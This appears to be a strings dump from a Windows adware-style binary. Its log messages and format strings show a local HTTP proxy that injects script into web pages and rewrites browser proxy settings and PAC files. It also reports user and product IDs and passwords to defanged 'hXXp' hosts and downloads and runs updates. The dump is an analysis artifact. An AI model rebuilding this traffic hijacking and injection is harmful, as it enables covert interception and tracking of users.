HttpRedirectProxyDomain
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
[GZipWrapper::InflateGzipData] ___Error ReadString : %s
[GZipWrapper::InflateGzipData] ___Error Open file : %s
[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s
GZipWrapper_%d.tmp
C:\ProgramData\tmp\
http_port
prefs.js
user.js
user_pref("network.proxy.
autoconfig_url
[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d
[CAsyncUpdate::StartUpdate] Download URL: %s
[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s
[CAsyncUpdate::StartUpdate] Update Page: %s
va_conf.dat
[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s
[CAsyncUpdate::DownloadComplete] Result: %d, File: %s
1.0.0.0
Temp.dll
[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s
Trial.dat
RESULT.VA_TRIAL.CONFIG.DATA
Temp.zip
RESULT.VA_RES.RESOURCES.DOWNLOAD_URL
RESULT.VA_RES.RESOURCES.VERSION
RESULT.BLACKLIST.DATA
RESULT.SENDLOGRULE
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING
RESULT.ADS.SHOW
[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s
RESULT.VA.CONFIG.SITES.ZIP
RESULT.VA.CONFIG.SITES.XMLVERSION
RESULT.VA.CONFIG.SITES.DATA
[CAsyncUpdate::UpdateSearchComplete] version status = %d
[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d
Old.dll
[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
LastNum%d
LastID%d
1.1.4
%d/%d/%d %d:%d:%d
%s.PARAM
%s.ID
.CONDITIONS.CONDITION[%d]
.LANDING_URL
.ICON
.TOOLTIP
.NOTIFICATION_TYPE
.VALIDATE
.EXPIRATION_HOURS
.EXPIRATION_TIME
.NUM_OF_ICONS
.ANIMATION_TIME
.DISPLAY_TIME
.TYPE
.NUMBER
RESULT.LAMP
RESULT.ALERT
[Core::ShouldUpdate] %s
RESULT.LICENSE.EXPIRATION
RESULT.LICENSE.STATUS
RESULT.LASTERROR
[Core::RequestURL] Filename = %s, URL = %s
RESULT.USER.DAUI
RESULT.ANON.PW
RESULT.ANON.ID
RESULT.USER.PW
RESULT.USER.ID
[Core::AnalyzeXMLResult] Filename = %s
RESULT.STATS.COLLECT
RESULT.DISABLED_PARTNERS
RESULT.UPDATE.PAGE_URL
RESULT.UPDATE.DOWNLOAD_FILENAME
RESULT.UPDATE.DOWNLOAD_URL
RESULT.UPDATE.VERSION
RESULT.UPDATE.EXIST
Core.log
ddd
ddd
2.0.0.0
%DOMAIN%
%s=%s
&OldUserID=%s&OldPassword=%s
%s?%s
hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx
CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]
Password
[Core::SendInfo] Filename = %s, URL = %s
hXXp://online.%DOMAIN%.com/online/Report.aspx
[Core::HitStats] URL = %s
hXXp://pix.%DOMAIN%.com
[Core::BuildUpdateURL] URL = %s
&ElapsedTime=%d
[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s
&DAUI=%s
&ActivationCode=%s&ActivationEmail=%s
%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]
[Core::CheckForUpdates] RequestURL FAILED
[Core::CheckForUpdates] RequestURL SUCCEEDED
[Core::CheckForUpdates] URL = %s
hXXp://online.%DOMAIN%.com/online/update.aspx
[Core::PerformAsyncUpdateCheck] URL = %s
&SBPIDS=%d
[Core::FindRegistrationInfoByKey] VA Product Found
[Core::FindRegistrationInfoByKey] DAP Product Found
[Core::FindRegistrationInfoByKey] Password is %s
[Core::FindRegistrationInfoByKey] SBPID is %s
[Core::FindRegistrationInfoByKey] Product is %s
[Core::FindRegistrationInfoByKey]
[Core::FindRegistrationInfo] ___Error open key %s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s
[Core::FindRegistrationInfo] - CurrentUSDKey is %s
[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key
[Core::RegisterProduct] RequestURL Fauled err = %d
[Core::RegisterProduct] RequestURL Succeeded
[Core::RegisterProduct] URL = %s
&LastResponse=%s
&TF=%s
&Retry=%d&LE=%d
hXXp://online.%DOMAIN%.com/online/Register.aspx
[Core::GenerateAnonymousID] URL = %s
hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx
[Core::PingServer] URL = %s
hXXp://online.%DOMAIN%.com/online/ka.aspx
InternetReadFile failed: %d
WriteFile failed: %d
Create output file failed: %d
QueryStatus not OK: %d
HttpQueryInfo failed: %d
InternetOpenUrl failed: %d
InternetOpen failed: %d
Content-Disposition: form-data; name="%s"
XXX
--%s--
Content-Type:multipart/form-data;boundary=%s
WaitingPost.xml
%%X
<?xml version="1.0" encoding="%s"?>
-%c%c%c%c%c%c%c%c%c%c
deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly
inflate 1.1.4 Copyright 1995-2002 Mark Adler
()$^.* ?[]|\-{},:=!
safari.exe
opera.exe
itunes.exe
iexplore.exe
chrome.exe
(build %d)
Windows 2000
Windows XP
Web Edition
Windows Server 2003,
Windows XP Professional x64 Edition
Windows Home Server
Windows Storage Server 2003
Windows Server 2003 R2,
Web Server Edition
Windows Server 2008 R2
Windows 8
Windows 7
Windows Server 2008
Windows Vista
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)
[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s
hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s
ProxyExtensionInj: can't open database1_0_0.json
database1_0_0.json
ProxyExtensionInj: can't open Config.json
Config.json
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header
[ProxyExtensionInj::OnHeader] FDM=%d -
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%%SID%%
%%USERID%%
%%SPARAM%%
%%SPARAMDATE%%
%%SPARAMPROD%%
%%SPARAMSUB%%
%%COUNTRY%%
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d
[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection
[InjHttpProxyServer]
[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[InjFileDownloadMgr] FDM=%d
[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d
[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
InjHttpProxyRemote::WriteCachedBufferToSocket
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
pHttpProxyWorker
[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.
[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.
HttpProxyServer::GetDownloader
[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)
[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.
[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
HttpProxyServer::OnHeader
[ProxyServer::StopAcceleration] Proxy type: %d
[ProxyServer::Stop] Proxy type: %d - Done
[ProxyServer::Stop] - delete HttpCookieJar
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...
[ProxyServer::Stop] - HTTP proxy - Stopped !
[ProxyServer::Stop] - HTTP proxy - Stopping...
[ProxyServer::Stop] Proxy type: %d
[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.
m_pIHttpProxyServer
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.
[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created
ProxyServer::CreateHttpProxyServer
[ProxyServer::Start] Proxy type: %d - Done.
[ProxyServer::Start] *** HTTP proxy was started ***
[ProxyServer::Start] ___Error stating the HTTP proxy.
[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).
[ProxyServer::Start] Proxy type: %d
[ProxyServer::AcceptConnection] *** Handover to HTTP ***
[AccelerationConfiguration::OnError] XML parse failed: %s
[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d
[CAccelerationStats::Write] Written: %d
[CAccelerationStats::AddRequest] Req:%d - Request was added
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader
[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.
[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).
[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.
[HttpProxyServer::Init] ___Error creating listen AsyncSocket
[HttpProxyServer::Init]
[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.
HttpProxyServer::OnData
pIHttpProxyWorker
m_pIHttpEngineConfiguration
[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d
[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d
[HttpProxyServer::WriteDataToFile] Filename: %s
[HttpProxyServer::Start] ___Error - HTTP Configuration not valid
HttpProxyServer::Initialize
[HttpProxyServer::Initialize]
[HttpProxyServer::OnAcceptEvent] *** Pass Through ***
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.
[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket
[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL
[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE
[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE
[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE
[HttpProxyServer::StartListening] Listening on port: %d
[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed
[HttpProxyServer::StartListening] ___Error listening on port: %d
[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket
[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port
[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d
[HttpProxyServer::StartListening] Listen port restored to default: %d
[HttpProxyServer::StartListening] ___Error Configuration not valid
[HttpProxyServer::StartListening]
HttpProxyServer::StartListening
[HttpProxyServer::StopAllAccelerations]
[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d
[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d
[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL
[HttpProxyServer::InitializationThread] ___Error listening to network traffic
[HttpProxyServer::InitializationThread] Listening to network traffic.
[HttpProxyServer::InitializationThread] Going to listen to network traffic
[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid
[HttpProxyServer::InitializationThread]
[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.
[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.
[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.
[HttpProxyServer::Start] ___Error hInitializationThread failed: %d
[HttpProxyServer::Start] hInitializationThread - S_OK
[HttpProxyServer::Start] Waiting for Initialzation Thread...
HttpProxyServer::Start
[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.
[HttpProxyServer::AcceptConnection] ___Error accepting a new socket
[HttpProxyServer::Work] --- Exit event was set ---
[HttpProxyServer::Work] - Start...
[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.
[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...
[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d
[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)
[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.
[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match
[HttpProxyServer::FindDownloadMgr] Worker was not found !
[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d
HttpProxyServer::RemoveDownloaderFromMap
[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)
HttpProxyServer::FDMWasStopped
[HttpProxyServer::Stop] The Stop process was finished !
[HttpProxyServer::Stop] - Workers - Deleted !
[HttpProxyServer::Stop] - Workers - Deleting...
[HttpProxyServer::Stop] - Listen - Stopped !
[HttpProxyServer::Stop] - Listen - Stopping...
[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !
[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...
[HttpProxyServer::Stop] Starting the Stop process...
HttpProxyServer::OnError
[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d
return "PROXY %s:%d";
[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d
[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d
127.0.0.1
[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration
[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true
[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration
[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.
[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF
[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***
[HttpProxyServer::OnHeader] ___Error local loop detected
[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.
[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)
[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d
[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!
[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d
[HttpProxyServer::OnHeader] New header from Worker:%d.
[HttpProxyServer::GetOriginalRequest] Original request was found: %s
[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d
HttpProxyServer::InsertDownloaderToMap
[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.
[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.
[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)
[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.
return "PROXY 127.0.0.1:%d";
shExpMatch(host, "%s")
function FindProxyForURL(url, host)
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.
HttpProxyServer::GetRedirectRulesInPacFormat
%%.%ds
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile]
[HttpProxyServer::~HttpProxyServer] - Leave
[HttpProxyServer::~HttpProxyServer] - Enter
[HttpProxyServer::SetOriginalRequest] Location: %s
[HttpProxyServer::SetOriginalRequest] Replacing: %s
[HttpProxyServer::HttpProxyServer]
hXXp://
HTTP_Version_String
HTTP/1.0
HttpParser::UpdateBuffer
[HttpParser::Reset]
[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.
[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.
[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d
[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.
[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.
HttpParser::Initialize
HttpParser::GetLine
[HttpParser::GetChunkSize] Missing %d/%d bytes.
[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.
[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] After Adding nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nChunkSize:%d
[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).
[HttpParser::GetChunkSize] The buffer size is %d bytes.
[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.
[HttpParser::GetChunkDetails] ___Error Unknown end of line.
[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).
[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s
HttpParser::ParseLine
HttpParser::GetFieldDataString
HttpParser::GetFieldDataNumber
HttpParser::SetFieldData
HttpParser::AddLineDetailsToMap
[HttpParser::IsDataAvailable] Undefined - %d data bytes
[HttpParser::IsDataAvailable] Response code has no body - no data
[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Chunks size - %d bytes
[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...
[HttpParser::IsConnectionClose] The Connection field exists:%s
[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default
[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default
[HttpParser::GetContentLength] Content-Length: %lld
[HttpParser::GetDataLengthFromRanges] Range fields does not exists
[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetDataLengthFromRanges] End Position == 0
[HttpParser::GetDataLengthFromRanges] Filesize: %lld
[HttpParser::GetDataLengthFromRangesField] Range fields does not exists
[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld
[HttpParser::GetRangesFromHeaderField] Range fields does not exists
[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetRangesFromHeaderField] Filesize: %lld
[HttpParser::IsValid] ___Error --- NOT an HTTP request ---
HttpParser::SetFieldDataNumber
[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.
[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s
HTTP/
HttpParser::AnalyzeFirstLine
[HttpParser::SetConnectionType] Adding - Connection: %s (%s)
[HttpParser::SetConnectionType] %s: %s (%s)
[HttpParser::UpdateDataEncodingType] Request - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.
[HttpParser::UpdateDataEncodingType] - No Encoding.
[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.
[HttpParser::ParseHeader] Complete - Header size: %d
HttpParser::ParseHeader
HttpParser::GetAllFieldDataStrings
[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.
[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.
[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.
[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.
[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d
[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty
[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.
%s%lld
[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.
[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.
%s%lld-
%s%lld-%lld
[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.
[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)
[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)
[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)
[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)
[HttpProxyLocal::Stop] FDM=%d (%d)
[~HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket%d.bin
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.
